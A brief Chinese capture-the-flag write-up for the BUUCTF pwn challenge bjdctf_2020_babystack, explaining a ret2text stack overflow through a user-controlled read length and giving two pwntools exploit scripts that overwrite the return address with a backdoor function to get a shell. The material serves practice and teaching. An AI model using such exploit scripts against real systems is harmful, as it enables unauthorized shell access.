Week 6 T1 bjdctf_2020_babystack
2023-02-05WP
BUUCTF pwn 第十一题
考点:ret2text
省略第一步……只开了NX
__isoc99_scanf(“%d”, &nbytes) 让用户输入下次输入时接受的数据的长度
read(0, &buf, (unsigned int)nbytes) 用户可以控制长度,实现栈溢出
0x02
打开IDA
找到有/bin/sh
找到后门函数
buf占用的空间为0x10
0x03
exp
from pwn import *
p = remote('node4.buuoj.cn',29891)
backdoor_addr = 0x4006e6
payload =b 'a' * (0x10+8) + p64(backdoor_addr)
p.sendline(b'100')
p.sendline(payload)
p.interactive()
0x04
发现这样也不错,交给工具来找地址
- 变量(unsigned int)nbytes用户可控,且是个无符号函数
- 可用-1进行绕过,这样用户可输入的数据长度就十分巨大了
- 接着调用backdoor()即可getshell
from pwn import *
#start
# r = process("../buu/bjdctf_2020_babystack")
r = remote("node4.buuoj.cn",29891)
elf = ELF("../buu/bjdctf_2020_babystack")
#params
backdoor_addr = elf.symbols['backdoor']
#attack
r.recvuntil(b"your name:")
r.sendline("-1")
r.recvuntil(b"name?")
payload = b'M' * (0x10 + 8) + p64(backdoor_addr)
r.sendline(payload)
r.interactive()